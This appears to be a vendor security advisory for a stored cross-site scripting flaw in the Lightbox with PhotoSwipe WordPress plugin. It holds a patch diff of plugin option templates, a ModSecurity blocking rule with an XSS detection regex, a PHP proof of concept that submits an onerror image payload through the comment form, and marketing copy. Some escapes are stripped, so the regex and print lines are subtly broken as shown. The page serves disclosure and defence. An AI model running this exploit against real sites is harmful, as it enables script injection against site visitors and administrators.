+                            echo ' selected="selected"';
+                        }
+                        echo '>'.esc_html__('never hide automatically', 'lightbox-photoswipe').'</option>';
+                        for ($idletime = 1000; $idletime <= 10000; $idletime+=1000) {
+                            echo '<option value="'.esc_html($idletime).'"';
+                            if ((int)$this->optionsManager->getOption('idletime') === $idletime) {
+                                echo ' selected="selected"';
+                            }
+                            echo '>'.esc_html($idletime/1000).' '.esc_html(_n('second','seconds', $idletime/1000, 'lightbox-photoswipe'));
+                            if ($idletime == 4000) {
+                                echo ' ('.esc_html__('Default', 'lightbox-photoswipe').')';
+                            }
+                            echo '</option>';
+                        }
+                        ?>
+                    </select>
+                    <p class="description"><?php echo esc_html__('Time until the on screen controls will disappear automatically in desktop view. Note: Keeping controls visible is only supported with PhotoSwipe 5.', 'lightbox-photoswipe'); ?></p>
                 </td>
             </tr>
         </table>
     </div>
-    <div class="lbwps-ver5">
-        <p class="lbwps_text"><?php echo esc_html__('Sharing options are not yet supported for PhotoSwipe 5.', 'lightbox-photoswipe') ?></p>
-    </div>
 </div>
 No newline at end of file
--- a/lightbox-photoswipe/templates/options-tab6.inc.php
+++ b/lightbox-photoswipe/templates/options-tab6.inc.php
@@ -1,67 +0,0 @@
-<?php defined('ABSPATH') or die(); ?>
-<div id="lbwps-tab-6" style="display:none;">
-    <div>
-        <table class="form-table">
-            <tr>
-                <th scope="row">
-                    <?php echo esc_html__('General', 'lightbox-photoswipe'); ?>
-                </th>
-                <td>
-                    <label class="lbwps-ver4"><?php $this->uiControlCheckbox('fulldesktop'); ?> <?php echo esc_html__('Full picture size in desktop view', 'lightbox-photoswipe'); ?></label><br class="lbwps-ver4">
-                    <label><?php $this->uiControlCheckbox('desktop_slider'); ?> <?php echo esc_html__('Use slide animation when switching images in desktop view', 'lightbox-photoswipe'); ?></label><br>
-                    <label><?php $this->uiControlCheckbox('close_on_click'); ?> <?php echo esc_html__('Close the lightbox by clicking outside the image', 'lightbox-photoswipe'); ?></label>
-                </td>
-            </tr>
-            <tr class="lbwps-ver4">
-                <th scope="row">
-                    <?php echo esc_html__('Mouse wheel function', 'lightbox-photoswipe'); ?>
-                </th>
-                <td>
-                    <?php $this->uiControlRadio(
-                        'wheelmode',
-                        [
-                            'scroll',
-                            'close',
-                            'zoom',
-                            'switch'
-                        ],
-                        [
-                            esc_html__('Scroll zoomed image otherwise do nothing', 'lightbox-photoswipe'),
-                            esc_html__('Scroll zoomed image or close lightbox if not zoomed', 'lightbox-photoswipe'),
-                            esc_html__('Zoom in/out', 'lightbox-photoswipe'),
-                            esc_html__('Switch to next/previous picture', 'lightbox-photoswipe'),
-                        ],
-                        '<br>'); ?>
-                </td>
-            </tr>
-            <tr>
-                <th scope="row">
-                    <?php echo esc_html__('Idle time for controls', 'lightbox-photoswipe'); ?>
-                </th>
-                <td>
-                    <select id="lightbox_photoswipe_idletime" name="lightbox_photoswipe_idletime">
-                        <?php
-                        echo '<option value="0"';
-                        if ((int)$this->optionsManager->getOption('idletime') === 0) {
-                            echo ' selected="selected"';
-                        }
-                        echo '>'.esc_html__('never hide automatically', 'lightbox-photoswipe').'</option>';
-                        for ($idletime = 1000; $idletime <= 10000; $idletime+=1000) {
-                            echo '<option value="'.esc_html($idletime).'"';
-                            if ((int)$this->optionsManager->getOption('idletime') === $idletime) {
-                                echo ' selected="selected"';
-                            }
-                            echo '>'.esc_html($idletime/1000).' '.esc_html(_n('second','seconds', $idletime/1000, 'lightbox-photoswipe'));
-                            if ($idletime == 4000) {
-                                echo ' ('.esc_html__('Default', 'lightbox-photoswipe').')';
-                            }
-                            echo '</option>';
-                        }
-                        ?>
-                    </select>
-                    <p class="description"><?php echo esc_html__('Time until the on screen controls will disappear automatically in desktop view. Note: Keeping controls visible is only supported with PhotoSwipe 5.', 'lightbox-photoswipe'); ?></p>
-                </td>
-            </tr>
-        </table>
-    </div>
-</div>
 No newline at end of file
--- a/lightbox-photoswipe/templates/options-tab7.inc.php
+++ b/lightbox-photoswipe/templates/options-tab7.inc.php
@@ -1,20 +0,0 @@
-<?php defined('ABSPATH') or die(); ?>
-<div id="lbwps-tab-7"  style="display:none;">
-    <div class="lbwps-ver4">
-        <table class="form-table">
-            <tr>
-                <th scope="row">
-                    <?php echo esc_html__('General', 'lightbox-photoswipe'); ?>
-                </th>
-                <td>
-                    <label><?php $this->uiControlCheckbox('close_on_drag'); ?> <?php echo esc_html__('Close with vertical drag in mobile view', 'lightbox-photoswipe'); ?></label><br>
-                    <label><?php $this->uiControlCheckbox('pinchtoclose'); ?> <?php echo esc_html__('Enable pinch to close gesture on mobile devices', 'lightbox-photoswipe'); ?></label><br>
-                    <label><?php $this->uiControlCheckbox('taptotoggle'); ?> <?php echo esc_html__('Enable tap to toggle controls on mobile devices', 'lightbox-photoswipe'); ?></label><br>
-                </td>
-            </tr>
-        </table>
-    </div>
-    <div class="lbwps-ver5">
-        <p class="lbwps_text"><?php echo esc_html__('Mobile options are not yet supported for PhotoSwipe 5.', 'lightbox-photoswipe') ?></p>
-    </div>
-</div>
 No newline at end of file
--- a/lightbox-photoswipe/templates/options.inc.php
+++ b/lightbox-photoswipe/templates/options.inc.php
@@ -20,7 +20,6 @@
 include('options-tab4.inc.php');
 include('options-tab5.inc.php');
 include('options-tab6.inc.php');
-include('options-tab7.inc.php');
 $this->uiFormEnd();
 ?>
 </div>

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-135654
# Blocks stored XSS via comment parameter in Lightbox with PhotoSwipe plugin
# The attack vector is a standard comment submission with malicious script in the 'comment' field.
# We detect script tags or event handlers commonly used in XSS payloads.
SecRule REQUEST_URI "@streq /wp-comments-post.php" 
  "id:2026135654,phase:2,deny,status:403,chain,msg:'CVE-2026-135654: Stored XSS via comment parameter',severity:'CRITICAL',tag:'CVE-2026-135654'"
  SecRule ARGS_POST:comment "@rx (?i)<s*script|onerrors*=|onloads*=|javascripts*:|<s*img[^>]+onerror" "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-135654 - Lightbox with PhotoSwipe <= 5.18.0 - Unauthenticated Stored Cross-Site Scripting via Comment Link 'title' Attribute

// Configuration
$target_url = 'http://example.com'; // WordPress site URL
$post_id = 1; // ID of the post with the lightbox

// Payload: JavaScript that triggers an alert when the lightbox title is rendered
$payload = '<img src=x onerror=alert("XSS")>'; // This will be stored as the comment text

// Step 1: Submit a comment with the payload
$comment_data = [
    'comment' => $payload,
    'author' => 'Attacker',
    'email' => 'attacker@example.com',
    'url' => '',
    'comment_post_ID' => $post_id,
    'comment_parent' => 0,
];

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-comments-post.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($comment_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

echo "Comment submitted with payload. Awaiting administrator approval.n";

// Step 2: Once approved, the payload will be stored and executed when the lightbox is opened.
// To verify, visit the post and open the lightbox; the alert should trigger.
// Note: This PoC requires that comments are enabled and the attacker's comment is approved.

// For demonstration, we assume the comment is approved and simulate the trigger by fetching the post.
// In a real attack, the victim would visit the post and click on an image.

echo "To trigger the XSS, open the following URL in a browser: $target_url/?p=$post_idn";
echo "Click on any image to open the lightbox; the payload will execute.n";

?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.